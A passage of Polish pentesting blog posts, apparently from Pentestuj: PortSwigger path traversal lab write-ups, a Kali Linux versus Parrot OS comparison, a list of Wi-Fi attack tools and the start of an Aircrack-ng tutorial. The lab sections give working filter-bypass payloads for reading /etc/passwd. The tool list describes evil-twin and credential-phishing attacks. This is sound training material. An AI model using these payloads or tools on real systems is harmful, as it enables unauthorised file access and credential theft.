File Path Traversal, traversal sequences stripped non-recursively – zadanie numer 3

W kolejnym laboratorium również musimy wyświetlić zawartość pliku etc/passwd. Luka też jest w mechanizmie wyświetlania obrazków produktów. Tu też jest wdrożony mechanizm zabezpieczający, który usuwa sekwencję ../

Treść zadania:

W tym laboratorium nie zadziałają payloady z poprzednich zadań:

• ../../../etc/passwd
• /etc/passwd

Czasem zdarza się tak, że mechanizm zabezpieczający usuwa sekwencję ../ bez ponownego sprawdzania żądania. Po prostu usuwane jest tylko pierwsze wystąpienie sekwencji ../

Żeby to sprawdzić do naszego żądania dodajmy poniższy payload:

....//....//....//etc/passwd

Mechanizm zabezpieczający usunie poniższe znaki:

Po tym zabiegu nasze zapytanie będzie miało odpowiednią strukturę:

Sprawdźmy czy to zadziała.

Udało nam się wyświetlić zawartość pliku passwd.

File Path Traversal, traversal sequences stripped with superfluous URL-decode – zadanie numer 4

W kolejnym zadaniu również musimy wyświetlić zawartość pliku etc/passwd. Luka też jest w mechanizmie wyświetlania obrazków produktów.

Treść zadania:

Dużą wskazówkę znajdujemy w opisie tego laboratorium. Sekwencja przechodzenia do katalogu nadrzędnego (czyli ../) jest usuwana z zapytania, ale mechanizm zanim użyje przekazanych danych w parametrze filename wykonuje dekodowanie adresu URL. Czyli dekoduje ciąg znaków zakodowanych za pomocą kodowania URL (kodowanie procentowe) na tekst jawny.

Na pewno payloady z poprzednich zadań nie zadziałają:

• ../../../etc/passwd
• /etc/passwd
• ....//....//....//etc/passwd

Jednak co się stanie, jeśli zakodujemy sekwencję ../ za pomocą kodowania URL? Wtedy system zabezpieczający „nie zobaczy”, że jest to sekwencja ../, więc przepuści nasz payload i zrobi na nim dekodowanie.

Najpierw spróbujemy zakodować ciąg: ../../../

Zatem poniższa sekwencja:

../../../etc/passwd

będzie mieć postać:

%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc/passwd

Sprawdźmy czy to zadziała.

Niestety to nie zadziałało, ale możemy jeszcze spróbować użyć podwójnego kodowania. Czyli najpierw kodujemy ciąg ../../../, a potem jeszcze raz kodujemy ciąg %2E%2E%2F%2E%2E%2F%2E%2E%2F

Ostatecznie nasz payload będzie miał postać:

%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc/passwd

Tym razem nasz payload zadziałał.

File Path Traversal, validation of start of path – zadanie numer 5

W kolejnym zadaniu również musimy wyświetlić zawartość pliku etc/passwd. Luka też jest w mechanizmie wyświetlania obrazków produktów.

Treść zadania:

Spójrzmy na źródło strony. Jak widać na poniższym zrzucie parametr filename zawiera pełną ścieżkę do obrazka:

/image?filename=/var/www/images/48.jpg

Aplikacja sprawdza, czy ścieżka zaczyna się od oczekiwanych wartości, w tym przypadku ścieżki bezwzględnej /var/www/images.

Sprawdźmy, czy możliwe jest użycie poniższego payloadu. Zostawiamy początek ścieżki, czyli fragment który jest sprawdzany przez mechanizm zabezpieczający. Następnie próbujemy wyjść ponad te katalogi za pomocą sekwencji ../

/var/www/images/../../../etc/passwd

File Path Traversal, validation of file extension with null byte bypass – zadanie numer 6

W kolejnym zadaniu również musimy wyświetlić zawartość pliku etc/passwd. Luka też jest w mechanizmie wyświetlania obrazków produktów. Jest za to pewne utrudnienie polegające na tym, że mechanizm zabezpieczający sprawdza, że czy podana nazwa pliku kończy się oczekiwanym rozszerzeniem.

Jak można przypuszczać, poniższy payload nie zadziała:

filename=../../../etc/passwd

Na końcu zapytania brakuje rozszerzenia .png. Zatem dodajmy je, jednak w tym celu musimy użyć bajtu zerowego:

filename=../../../etc/passwd%00.png

To zapytanie zadziałało:

Bajt zerowy (inaczej znak pusty, null character) jest zdefiniowany w standardach ASCII i Unicode Bajt. Oznacza koniec łańcucha. Bajt zerowy jest oznaczony: %00. Wszystko co się za nim znajduje jest ignorowane. Zatem w ten sposób oszukaliśmy mechanizm zabezpieczający w tym zadaniu, który tylko sprawdził czy na końcu tego zapytania znajduje się rozszerzenie .png.

Artykuł Podatność Path Traversal – rozwiązanie zadań PortSwigger wraz z omówieniem pochodzi z serwisu Pentestuj.

Kilka słów o Linuxie

Linux to rodzina systemów operacyjnych opartych na jądrze Linux, które zostało stworzone przez Linusa Torvaldsa w 1991 roku. Jest to otwarte oprogramowanie, co oznacza, że kod źródłowy jest dostępny publicznie i można go modyfikować, dostosowywać do swoich potrzeb i dystrybuować zgodnie z warunkami licencji GPL (GNU General Public License). Linux jest popularny zarówno w środowiskach użytkowników domowych, jak i w biznesie, a także stanowi podstawę dla innych systemów operacyjnych, takich jak np. Android. Charakteryzuje go stabilność, elastyczność i dostępność wielu dystrybucji, co oznacza, że ​​użytkownicy mogą wybierać spośród różnych wersji systemu Linux, z których każda ma inne cechy i domyślnie zainstalowane narzędzia.

Czym jest dystrybucja Linuxa

Dystrybucje Linuxa są to różne wersje tego systemu operacyjnego. Różnią się między sobą graficznym interfejsem użytkownika, zestawem domyślnie zainstalowanych narzędzi, politykami aktualizacji, a także innymi cechami.

Pewne wersje Linuxa są stworzone z myślą o osobach, które dopiero zaczynają przygodę z tym systemem operacyjnym (np. Ubuntu lub Linux Mint). Mają one intuicyjny interfejs i są proste w obsłudze. Inne (np. Arch Linux lub Gentoo) są zaprojektowane z myślą o bardziej doświadczonych użytkownikach, którzy potrzebują zaawansowanych narzędzi i chcą w pełni dostosować system do swoich potrzeb.

Istnieje też kilka dystrybucji Linuxa zaprojektowanych z myślą o pentestach. Oto kilka z nich:

• Kali Linux
• Parrot Security OS
• BlackArch Linux
• BackBox
• Pentoo

Niewątpliwie najbardziej popularny jest Kali Linux i Parrot Security OS.

Kilka słów o Kali Linux i Parrot Security OS

Kali Linux i Parrot Security OS są to dystrybucje Linuxa przeznaczone do testów bezpieczeństwa. Obie oparte są na Debianie, który jest jedną z najstarszych, najczęściej używanych i najbardziej stabilnych dystrybucji Linuxa. Jego pierwsza wersja pochodzi z 1993 roku. Ponieważ Kali Linux i Parrot Security OS mają takie samo przeznaczenie, łączy je wiele wspólnych cech. Jednak są też różnice, które mogą wpłynąć na komfort pracy pentestera.

Kali Linux

Kali Linux bez wątpienia jest najpopularniejszym systemem używanym przez pentesterów/hackerów. W dużej mierze jest to spowodowane tym, że dystrybucja ta jest rozwijana przez OffSec (dawniej Offensive Security). Jest to firma zajmująca się cyberbezpieczeństwem, która zapewnia również szkolenia zgodne ze standardami branżowymi, a także znane i honorowane certyfikaty bezpieczeństwa. Ponadto wiele firm z branży bezpieczeństwa, wymaga od zatrudnionych pentesterów biegłej obsługi Kali Linuxa. Z tego względu dystrybucja ta jest najczęściej wybierana.

Kali Linux wydano w 2013 roku. Wcześniej znany był pod nazwą Back Track, który był dość toporny w obsłudze i bardzo zawodny. Kali zawiera wiele poprawek względem poprzednika.

Kali zaprojektowano z myślą o testowaniu penetracyjnym. Ta specjalna dystrybucja Linuxa nie nadaje się do używania na co dzień jako bazowy system operacyjny. Jest to kombajn naszpikowany narzędziami do łamania haseł, inżynierii wstecznej, analizy sieciowej, OSINTu, itd. System ten jest cały czas rozwijany i aktualizowany.

Parrot OS

Parrot OS, podobnie jak Kali, jest dystrybucją Linuxa, która jest dostarczana w pakiecie z narzędziami wspomagającymi pracę specjalistów ds. bezpieczeństwa. Projekt jest utrzymywany i wspierany przez entuzjastów i ekspertów branżowych. Chociaż Parrot OS w porównaniu do Kali ma mniejszy zespół programistów, jest on nadal często aktualizowany, ulepszany i zyskuje coraz większą popularność w branży bezpieczeństwa. Wbrew powszechnemu przekonaniu, Parrot OS nie jest nową dystrybucją. Jego początki sięgają 2013 r. Parrot OS rozwijał się równolegle do Kali Linuxa.

Interfejs użytkownika

W pierwszej kolejności przyjrzymy się, jak wygląda interfejs obu systemów. Sprawdzimy, która dystrybucja zapewnia większy komfort pracy.

Kali Linux

Kali Linux wywołuje bardzo pozytywne odczucia. Pomimo że nie jest to dystrybucja przeznaczona do korzystania na co dzień, tylko podczas testów, jej twórcy zadbali o to, żeby była przyjemna dla oka.

Ogólne poruszanie się po systemie jest bardzo łatwe i nie powinno przysporzyć problemów nawet mniej doświadczonemu użytkownikowi. Osoby, które pierwszy raz mają styczność z dystrybucją tego typu może przytłoczyć ogrom zainstalowanych narzędzi. Jednak są one logicznie pogrupowane według kategorii. Na dodatek u góry znajduje się wyszukiwarka, dzięki której bardzo szybko można znaleźć interesujący nas dodatek, bez szukania po kategoriach. Jest to bardzo przydatne zwłaszcza dla nowicjuszy.

Podczas instalacji można wybrać jedno ze środowisk graficznych XfCE, GNOME lub KDE Plasma. Oczywiście większość osób używa domyślnego środowiska, czyli XfCE. Opcje te nie są dostępne w live USB, który domyślnie wybiera XfCE. Warto zaznaczyć, że XfCE to lekkie i intuicyjne środowisko i w przeważającej liczbie przypadków jest najlepszym wyborem.

Kali niedawno zmienił domyślną powłokę z Bash (Bourne-Again Shell) na Zsh (Z Shell). Bash był domyślną powłoką dla wielu dystrybucji Linuksa przez długi czas, jednak Zsh oferuje znacznie więcej możliwości. Używając Kali, bardzo często będziesz uruchamiać narzędzia z wiersza poleceń. Dzięki nowej powłoce Zsh Twoja praca stanie się bardziej wydajna.

Kali koncentruje się na narzędziach używanych do testów penetracyjnych oraz kryminalistyki cyfrowej i dlatego nie ma domyślnie zainstalowanych aplikacji biurowych. Oczywiście można je ręcznie doinstalować. Jednak Kali nie jest zalecany do codziennego użytku. Raczej należy go traktować jako pakiet narzędzi do pracy przy testach penetracyjnych. Można go zainstalować na pendive lub na maszynie wirtualnej. Podczas testów nie raz spotkasz się z problemem, że system się wysypie i trzeba będzie go na nowo instalować. Dlatego lepiej traktować instalację Kali jako testowe, wyizolowane środowisko. Oczywiście jeśli chcesz, możesz zainstalować Kali obok używanego systemu lub jako główny system operacyjny. Jednak nie zaleca się tego.

Podobnie jak w przypadku większości dystrybucji Linuxa, Kali jest bardzo elastyczny jeśli chodzi o stopień konfiguracji. Można instalować różne środowiska graficzne, dodawać narzędzia i łatwo zmieniać ustawienia. Jednak większość osób korzysta ze standardowej konfiguracji, ponieważ nie raz trzeba szybko postawić system na nowo.

Parrot OS

Kali ma bardzo intuicyjny interfejs, jednak Parrot OS jest o klasę wyżej jeśli chodzi o wygląd. Parrot ma łatwe w obsłudze i co najważniejsze niezwykle przyjemne wizualnie środowisko do pracy. Menu jest dobrze zaprojektowane, a narzędzia również jak w Kali są logicznie podzielone na kategorie.

Parrot OS jest dostarczany z preinstalowanymi narzędziami do testów penetracyjnych. Dodatkowo ma kilka bardzo przydatnych dodatków zapewniających anonimowość, które nie są dostępne w Kali.

Parrot na start ma zainstalowane narzędzia biurowe i multimedialne. Może nie są zbyt rozbudowane, ale sugeruje to, że można go z powodzeniem stosować jako normalny system operacyjny. To sprawia, że Parrot OS zyskuje coraz większą popularność wśród entuzjastów bezpieczeństwa. Warto również wspomnieć o tym, że dostępna jest również wersja Home Edition, która nie ma preinstalowanych narzędzi pentesterskich i jest systemem operacyjnym do codziennego stosowania. Nie zmienia to jednak faktu, że wszelkie testy lepiej jest wykonywać w izolowanym środowisku.

Parrot OS używa MATE jako domyślnego środowiska graficznego. Jest ono porównywalne z XfCE pod względem łatwości użytkowania, a także wydajności. Niestety nie jest aż tak konfigurowalne. W Kali możemy wybrać środowisko graficzne, natomiast w Parrot OS mamy do dyspozycji tylko MATE.

Parrot OS domyślnie korzysta z powłoki Bash. Ma ona mniej funkcjonalności w przeciwieństwie do Zsh, jednak na niej też z powodzeniem można wykonywać testy bezpieczeństwa. Oczywiście nic nie stoi na przeszkodzie, żeby samemu ręcznie doinstalować Zsh.

Wymagania sprzętowe i wydajność

Kali Linux

Kali Linux do uruchomienia potrzebuje 20 GB miejsca na dysku twardym, 2 GB pamięci RAM i dwurdzeniowego procesora 2 GHz. Ogólne zadania działają dobrze przy minimalnej specyfikacji, ale jeśli podejmujesz bardziej wymagające zadania, takie jak łamanie haseł, potrzebne są dużo wyższe parametry sprzętowe.

Czas uruchamiania jest porównywalny z innymi dystrybucjami Linuxa, a ogólna wydajność w dużej mierze zależy od dostępnych zasobów sprzętowych.

Kali koncentruje się na częstej aktualizacji narzędzi. Niestety przez to, że aktualizacje są częste, mogą powodować problemy związane ze stabilnością systemu.

Parrot OS

W przeciwieństwie do Kali Linux Parrot ma nieco mniejsze wymagania sprzętowe. Parrot OS wymaga dwurdzeniowego procesora 1 GHz i tylko 320 MB pamięci RAM. Działa płynnie na skromnym sprzęcie. Jednak tak jak w przypadku Kali, jeśli wymagane są bardziej złożone zadania, potrzebne są większe zasoby sprzętowe. Ogólna wydajność jest jednak imponująca, nawet na starym sprzęcie.

Parrot OS ma bardziej tradycyjny harmonogram aktualizacji, dzięki czemu ma reputację stabilnego systemu operacyjnego. W pewnym stopniu wynika to z faktu, że aktualizacje są sprawdzane pod kątem kompatybilności i niezawodności.

Dostępne narzędzia w Kali Linux i Parrot OS

Parrot Security OS tak jak Kali ma domyślnie zainstalowany cały arsenał narzędzi do pentestów. Jednak Parrot OS posiada kilka ciekawych dodatków, których nie ma w Kali Linux, a które są godne uwagi.

AnonSurf

Anonimowość jest niezwykle ważna podczas testowania zabezpieczeń. Istnieje wiele narzędzi, które ją zapewniają. Jednym z nich jest AnonSurf, który jet domyślnie zaintalowany w Parrot Security OS.

AnonSurf umożliwia anonimizację połączeń sieciowych poprzez przekierowanie ruchu sieciowego przez sieć Tor. Tor to sieć anonimowa, która zapewnia użytkownikom prywatność i anonimowość poprzez przekierowywanie ruchu sieciowego przez wiele węzłów, co utrudnia śledzenie i ustalenie pochodzenia ruchu. AnonSurf jest proste w obsłudze i w parę chwil możemy stać się anonimowi. Dzięki temu cały nasz ruch sieciowy przechodzi przez sieć Tor. Owszem, AnonSurf można także zainstalować na Kali Linux. Jednak w Parrot jest on już domyślnie zainstalowany, więc oszczędzamy swój czas 😊

Wifiphisher

Za pomocą Wifiphisher możemy stworzyć fałszywy punkt dostępowy, dzięki czemu możliwy jest atak man-in-the-middle na klientów sieci bezprzewodowych. Dzięki czemu możemy przechwycić dane uwierzytelniające, a także zainfekować ofiarę złośliwym oprogramowaniem. Oczywiście wszlekie testy należy wykonywać w swoim środowisku lub w środowisku w którym mamy pozwolenie własciciela.

Poniżej lista dostępnych funkcjonalności:

• Podszywanie się pod punkt dostępowy: Wifiphisher tworzy fałszywy punkt dostępowy, który podszywa się pod wybraną sieć Wi-Fi. Punkt dostępowy atakującego emituje silniejszy sygnał, przyciągając sąsiednie urządzenia.
• Atak deautentykacji: za pomocą deautentykacji możliwe jest odłączenie użytkowników od ich prawdziwych sieci Wi-Fi, zmuszając ich do łączenia się z fałszywym punktem dostępowym atakującego.
• Captive Portal: Po podłączeniu do fałszywego punktu dostępowego użytkownicy są przekierowani do fałszywej strony logowania, która wygląda jak prawdziwa. W ten sposób można przechwycic dane do logowania.

Wsparcie i aktualizacje

Kali

Za rozwój Kali odpowiada firma OffSec. Na stronie kali.org/docs można znaleźć obszerną dokumentację. Obejmuje ona wszystko, począwszy od instalacji aż po bardzo szczegółowe artykuły dotyczące obsługi.

Kali otrzymuje bardzo częste aktualizacje. Ponieważ opiera się na Debianie, do aktualizacji używa standardowego menedżera pakietów APT. Jest to łatwe i szybkie w użyciu narzędzie wiersza poleceń.

Parrot OS

Parrot OS jest wspierany jedynie przez zgromadzoną wokół niego społeczność. Jednak jest on cały czas rozwijany i pojawiawią się regularne aktualizacje.

Dokumentację dla Parrot OS można znaleźć na stronie internetowej parrotsec.org/docs. Trzeba przyznać, że jest ona dość obszerna i intuicyjna. Obejmuje wiele tematów, od instalacji po konfigurację. Jednak jest mniej szczegółowa niż dokumentacja Kali.

Parrot OS również jest oparty na Debianie i używa APT jako menedżera pakietów i aktualizacji.

Kali Linux vs Parrot OS – którą wybrać dystrybucję?

Kali będzie świetnym wyborem, jeśli masz już jakieś doświadczenie w obszarze pentestów. System ten zawiera cały arsenał domyślnie zainstalowanych i pogrupowanych wg kategorii narzędzi. Kali otrzymuje bardzo częste aktualizacje i znajdziesz ogrom poradników i tutoriali, nawet w języku polskim. Jeśli jakiegoś narzędzia brakuje, bez problemu je doinstalujesz. Niestety Kali w przeciwieństwie do swojego konkurenta jest bardziej zasobożerny i mniej stabilny. System ten nie nadaje się jako bazowy system operacyjny. Należy go traktować jako pakiet narzędzi do testów penetracyjnych.

Natomiast Parrot OS dobrze się sprawdzi, jeśli chcesz rozpocząć naukę cyberbezpieczeństwa, chociaż warto zaznaczyć, że wiele starych wyjadaczy również z powodzeniem na nim pracuje. Parrot OS jest dużo przyjemniejszy w obsłudze, przez co będzie Ci się lepiej na nim pracowało. Na plus jest także to, że jest dużo lżejszy niż Kali. Dużo osób błędnie twierdzi, że Parrot OS jest świeżą dystrybucją. Otóż system ten powstał w tym samym roku co Kali i od tego momentu jest stale rozwijany. Parrot OS jest mniej popularny, ale jest za to bardziej stabilny, a także ma ciekawe dodatki.

Oczywiście moja ocena jest subiektywna. Dlatego zachęcam Cię do przetestowania obu systemów. Możesz je zainstalować równolegle na maszynie wirtualnej. Dzięki temu oba przetestujesz i sam stwierdzisz który system bardziej Ci odpowiada.

Artykuł Kali Linux vs Parrot OS – który system jest lepszy do testów bezpieczeństwa pochodzi z serwisu Pentestuj.

Aircrack-ng

Jest to pakiet narzędzi przeznaczony do łamania zabezpieczeń sieciowych WEP, WPA i WPA2. Aircrack-ng umożliwia łatwe przechwytywanie pakietów danych, monitorowanie sieci oraz łamanie słabych haseł.

Flagowym narzędziem tego pakietu jest komponent o takiej samej nazwie, czyli Aircrack-ng. Przechwycone handshake WPA/WPA2 łamane są metodą słownikową.

Aircrack-ng jest preinstalowany w systemie Kali Linux. Oczywiście można go także zainstalować na Windowsie, MacOS, a także w pozostałych dystrybucjach Linuxa. Aircrack-ng ma bardzo dobrą dokumentację w języku angielskim. Dzięki temu, że jest bardzo popularny, znajdziemy w Internecie dużą ilość tutoriali i poradników.

Więcej o Aircrack-ng znajdziesz w innym moim poradniku: KLIK!

Link do dokumentacji: KLIK!

Aircrack-ng jest domyślnie zainstalowany w Kali Linux.

Reaver

Reaver atakuje sieci WPA/WPA2 poprzez wykorzystanie luki w WPS (Wi-Fi Protected Setup). Odgadniecie PIN-u do danej sieci odbywa się poprzez atak brute force. Reaver po uzyskaniu PIN-u ma też dostęp do konfiguracji sieci oraz do klucza WPA/WPA2.

Dla przypomnienia WPS jest to protokół używany do dodawania nowych urządzeń do sieci bezprzewodowej bez wprowadzania hasła. Wiele osób jest świadomych, że WPS ma luki bezpieczeństwa i celowo wyłącza tą funkcjonalność. Jednak do dzisiaj niektóre sieci nadal mają aktywną obsługę WPS.

Reaver będzie bardzo przydatny do badania bezpieczeństwa sieci tylko jeśli jest włączona obsługa WPS.

Link do Github: KLIK!

Reaver jest domyślnie zainstalowany w Kali Linux.

Wifite

Wifite jest narzędziem, które ułatwia i automatyzuje atak na sieci WiFi. Pod maską używa Aircrack-ng, Pyrit, Reaver, Tshark. Wifite obsługuje różne ataki na WEP i WPA. Warto dodać, że narzędzie to jest proste i wygodne w obsłudze.

Więcej o Wifite przeczytasz w osobnym artykule: KLIK!

Link do Github: KLIK!

Wifite jest domyślnie zainstalowany w Kali Linux.

Fern Wifi Cracker

Fern Wifi Cracker jest to narzędzie przeznaczone do testowania zabezpieczeń sieci bezprzewodowych, w tym analizy i łamania haseł Wi-Fi. Przy jego użyciu można wykradać ciasteczka oraz przeprowadzać siłowe ataki na panele administracyjne routerów. Narzędzie wspiera również ataki na sieci Wi-Fi zabezpieczone WPS, wykorzystując znane luki w zabezpieczeniach tego protokołu. Fern WiFi Cracker automatycznie wykrywa urządzenia będące w zasięgu naszej karty sieciowej, identyfikuje typy zabezpieczeń i sugeruje odpowiednie ataki.

Jego dużą zaletą jest prosty w obsłudze interfejs graficzny (GUI). Za jego pomocą możemy przeprowadzać audyt sieci WEP, WPA i WPA2.

Link do Github: KLIK!

Fern jest domyślnie zainstalowany w Kali Linux.

Airgeddon

Airgeddon to otwartoźródłowy, wielofunkcyjny skrypt bash, stworzony dla profesjonalistów zajmujących się bezpieczeństwem sieci Wi-Fi. Integruje różne narzędzia (np. Aircrack-ng, Reaver i Hashcat), dzięki czemu za jego pomocą można wykonywać różnego typu ataki.

Airgeddon pozwala pentesterom oceniać bezpieczeństwo sieci bezprzewodowych poprzez wykonywanie zadań takich jak monitorowanie, przechwytywanie pakietów i analiza sieci. Za pomocą Airgeddon możemy wykonać atak Evil Twin, deautoryzację, a także możemy przechwycić handshake WPA/WPA2. Airgeddon pomocny jest także podczas łamania zabezpieczeń WPS.

Link do Github: KLIK!

Komenda instalacji Airgeddon: sudo apt install airgeddon

Hashcat

Jest to zaawansowane narzędzie do łamania haseł, które jest uważane za jedno z najszybszych i najbardziej wszechstronnych dostępnych narzędzi tego typu. Hashcat jest kompatybilny z różnymi systemami operacyjnymi, w tym Windows, Linux i MacOS. Narzędzie to wykorzystuje moc obliczeniową procesorów (CPU) i kart graficznych (GPU), co znacznie przyspiesza proces łamania haseł. Hashcat obsługuje szeroką gamę algorytmów hashujących, dzięki temu może łamać hasła zapisane w różnych formatach. Dużą zaletą Hashcata jest obszerna dokumentacja. Za pomocą Hashcat jeteśmy w stanie złamać handshake WPA/WPA2.

Hashcat jest domyślnie zainstalowany w Kali Linux.

Kismet

Kismet potrafi wykrywać i identyfikować sieci Wi-Fi (802.11a/b/g/n/ac/ax) oraz inne typy sieci bezprzewodowych, takie jak Bluetooth, DECT, SDR (Software Defined Radio) i inne. Narzędzie to działa w trybie pasywnym, co oznacza, że nie wysyła żadnych pakietów do sieci. Kismet działa na różnych systemach operacyjnych, w tym Linux, MacOS i Windows (poprzez WSL). Jest również kompatybilny z różnymi urządzeniami, takimi jak Raspberry Pi. Kismet może współpracować z innymi narzędziami do analizy i testowania sieci, takimi jak Wireshark, co umożliwia bardziej zaawansowane ataki. Dużą zaletą jest to, że oferuje interfejs webowy, który umożliwia zdalne monitorowanie i zarządzanie sesjami z dowolnego urządzenia z poziomu przeglądarki internetowej.

Link do strony domowej: KLIK!

Kismet jest domyślnie zainstalowany w Kali Linux.

Wifiphisher

Głównym celem Wifiphishera jest przeprowadzanie ataków socjotechnicznych, które polegają na oszukiwaniu użytkowników w celu ujawnienia ich danych uwierzytelniających. Za pomocą narzędzia można tworzyć fałszywe punkty dostępowe, które imitują prawdziwe sieci Wi-Fi. Użytkownicy łączący się z takim punktem dostępowym mogą zostać przekierowani na fałszywe strony logowania. Za pomocą Wifiphishera możemy także przeprowadzać ataki deautoryzacyjne (deauthentication), które rozłączają użytkowników z ich aktualnymi sieciami Wi-Fi, zmuszając ich do ponownego połączenia się z naszym fałszywym punktem dostępowym. Narzędzie oferuje różne szablony ataków, które można dostosować do specyficznych scenariuszy. Na przykład, można skonfigurować szablon, który prosi użytkowników o podanie hasła do sieci Wi-Fi pod pretekstem aktualizacji oprogramowania. Narzędzie oferuje prosty interfejs wiersza poleceń, który prowadzi użytkownika przez cały proces konfiguracji i przeprowadzania ataku.

Link do strony domowej: KLIK!

Komenda instalacji Wifiphisher: sudo apt install wifiphisher

Bettercap

Bettercap to zaawansowane narzędzie do przeprowadzania ataków na sieci, analizy bezpieczeństwa i testowania penetracyjnego. Jest to następca znanego narzędzia Ettercap i oferuje szeroki zakres funkcji do analizy sieci i przeprowadzania ataków typu man-in-the-middle (MITM). Narzędzie oferuje interfejs wiersza poleceń oraz interfejs webowy, co ułatwia jego użycie zarówno dla początkujących, jak i zaawansowanych użytkowników. Bettercap obsługuje szeroką gamę protokołów sieciowych, co czyni go wszechstronnym narzędziem do analizy i ataków na różne typy sieci.

Link do strony domowej: KLIK!

Bettercap jest domyślnie zainstalowany w Kali Linux.

WiFipumpkin3

WiFipumpkin3 umożliwia tworzenie fałszywych punktów dostępowych. Za pomoca tego narzędzia możemy przeprowadzać różne ataki typu man-in-the-middle. Pozwala to przechwytywać i modyfikować ruchu sieciowy między ofiarą a punktem dostępowym. WiFipumpkin3 oferuje szablony stron phishingowych, które mogą być używane do przechwytywania danych uwierzytelniających użytkowników, takich jak hasła do sieci Wi-Fi lub innych kont.

Link do dokumentacji: KLIK!

Komenda instalacji Wifipumpkin3: sudo apt install wifipumpkin3

Artykuł Narzędzia do hackowania sieci Wi-Fi pochodzi z serwisu Pentestuj.

Aircrack-ng – wszechstronne narzędzie do testowania bezpieczeństwa sieci WiFi

Aircrack-ng stanowi kompleksowy zestaw narzędzi przeznaczonych do testowania zabezpieczeń sieci WiFi. Za jego pomocą można m.in. przechwytywać handshake i łamać klucze zabezpieczeń sieciowych WEP/WPA/WPA2, tworzyć fałszywe punkty dostępowe, przechwytywać i analizować ruch sieciowy, a także przeprowadzać inne, bardziej złożone ataki. Dzięki Aircrack-ng można ocenić stan bezpieczeństwa danej sieci bezprzewodowej oraz namierzyć luki w zabezpieczeniach.

Aircrack-ng stanowi pakiet narzędzi. Każde narzędzie ma określony cel i może być używane solo lub w połączeniu z innymi narzędziami dostępnymi w pakiecie do wykonywania szerokiego zakresu zadań związanych z bezpieczeństwem sieci bezprzewodowej. Aircrack-ng jest preinstalowany w systemie Kali Linux, a także w Parrot Security OS, dzięki czemu jest łatwo dostępny zarówno dla specjalistów ds. bezpieczeństwa, jak i etycznych hakerów. Narzędzie Aircrack-ng może być używane zarówno na Windowsie, MacOS jak i Linuxie. W poradniku tym pokażę jak zainstalować go i używać na Linuxie.

Tu znajdziesz oficjalną stronę Aircrack-ng: KLIK! Na stronie znajduje się pełna dokumentacja w języku angielskim.

Żeby móc w pełni korzystać z Aircrack-ng potrzebujesz:

• Karty sieciowej która jest zdolna do pracy w trybie monitor oraz do wstrzykiwania pakietów (ja korzystam z TP-LINK TL-WN722N oraz ALFA NETWORK AWUS036AXML). Jeśli nie masz jeszcze karty, przeczytaj ten poradnik: KLIK!
• Odpowiedniej mocy obliczeniowej sprzętu. Jeśli masz zainstalowany system Linux na wirtualnej maszynie (np. Kali Linux lub Parrot Security OS) sprawdź, czy możesz zwiększyć ilość pamięci RAM oraz rdzeni CPU.
• Odpowiedniej ilości miejsca na dysku.

Dostępne narzędzia w Aircrack-ng

Aircrack-ng stanowi pakiet narzędzi. Oczywiście lista dostępnych komponentów jest znacznie dłuższa. Jednak w poradniku tym skupię się na najczęściej używanych narzędziach. Poniżej ich lista z krótkim opisem funkcjonalności:

• Airmon-ng – umożliwia przełączenie karty sieciowej w tryb monitorowania. Tryb ten pozwala nasłuchiwać całą otaczającą nas transmisję. W trybie monitor nasza karta sieciowa odbiera wszystkie ramki, które do niej docierają. Pakiet Airmon-ng będzie przez nas używany w każdym ataku sieciowym. Pamiętaj jednak, że nie każdą kartę sieciową można przełączyć w tryb monitor.
• Airodump-ng – służy do przechwytywania pakietów, które krążą w sieci. Jest to bardzo często pośredni etap podczas przeprowadzania większości ataków sieciowych.
• Aireplay-ng – służy do wstrzykiwania pakietów.
• Aircrack-ng – jest to podstawowe, flagowe narzędzie omawianego pakietu. Umożliwia łamanie kluczy WPA i WPA2 metodą słownikową. Oczywiście uprzednio należy przechwycić tzw. handshake (jest to wymiana informacji pomiędzy urządzeniem a punktem dostępowym, celem nawiązania połączenia pomiędzy nimi). Za jego pomocą można również łamać klucze WEP. Jednak ten klucz zabezpieczeń sieciowych obecnie jest bardzo rzadko używany z uwagi na liczne luki.
• Airbase-ng – umożliwia przekształcenie naszej karty sieciowej w punkt dostępowy (Access Point). Może to być szczególnie przydatne podczas przeprowadzania ataków typu man-in-the-middle. Dzięki temu możliwe jest przeprowadzanie ataków bezpośrednio na samych klientach, a nie ich puntach dostępowych. Za pomocą Airbase-ng możemy wykonać atak evil twin lub fake access point.
• Airgraph-ng – służy do przedstawienia w formie graficznej badanych sieci bezprzewodowych i powiązanych z nimi klientów.

Instalacja Aircrack-ng w systemie Linux

Możesz używać Aircrack-ng na dowolnej dystrybucji Linuxa. Zachęcam Cię do przetestowania Kali Linux lub Parrot OS Security. Są to specjalne dystrybucje Linuxa dla etycznych hakerów. Charakteryzują się tym, że na start mamy zainstalowane niektóre narzędzia, które są potrzebne do testowania zabezpieczeń. Oczywiście pakiet Aircrack-ng też jest domyślnie zainstalowany.

W tym miejscu pobierzesz Parrot Security OS: KLIK!

Tu pobierzesz Kali Linux: KLIK!

Zachęcam Cię do instalacji wybranego sytemu operacyjnego na maszynie wirtualnej Oracle VM VirtualBox: KLIK!

Jeśli jednak chcesz pracować na innej dystrybucji np. Linux Mint czy Ubuntu, to też jest to możliwe. Po prostu narzędzia do testowania zabezpieczeń będziesz musiał samodzielnie zainstalować. 

Jeśli chcesz sprawdzić, czy masz u siebie zainstalowany pakiet Aircrack-ng, wpisz w terminalu:

sudo aircrack-ng

Komenda instalacji Aircrack-ng:

sudo apt install aircrack-ng

Airmon-ng

Jest to bardzo ważne narzędzie w pakiecie Aircrack-ng. Służy do przełączania karty sieciowej w tryb monitorowania. Tryb ten umożliwia karcie bezprzewodowej nasłuchiwanie całego ruchu WiFi, który znajduje się w jej zasięgu. Oczywiście zasięg zależy od anteny. Dodatkowo za pomocą Airmon-ng możemy wyłączyć procesy, które zakłócają pracę naszej karty będącej w trybie monitorowania. Po zakończonych testach penetracyjnych, za pomocą Airmon-ng możemy także przywrócić standardowy tryb pracy karty sieciowej.  

Z Airmon-ng będziesz korzystać na początku każdego audytu sieci bezprzewodowej lub testów penetracyjnych. Stanowi on podstawę do korzystania z innych narzędzi z pakietu Aircrack-ng, takich jak Airodump-ng, Aireplay-ng czy Aircrack-ng.

Dla przypomnienia karta sieciowa może pracować w dwóch trybach:

• Managed Mode – jest to standardowy tryb w którym karta odbiera tylko i wyłącznie pakiety skierowane na jeden konkretny adres MAC. W tym trybie możemy korzystać z Internetu.
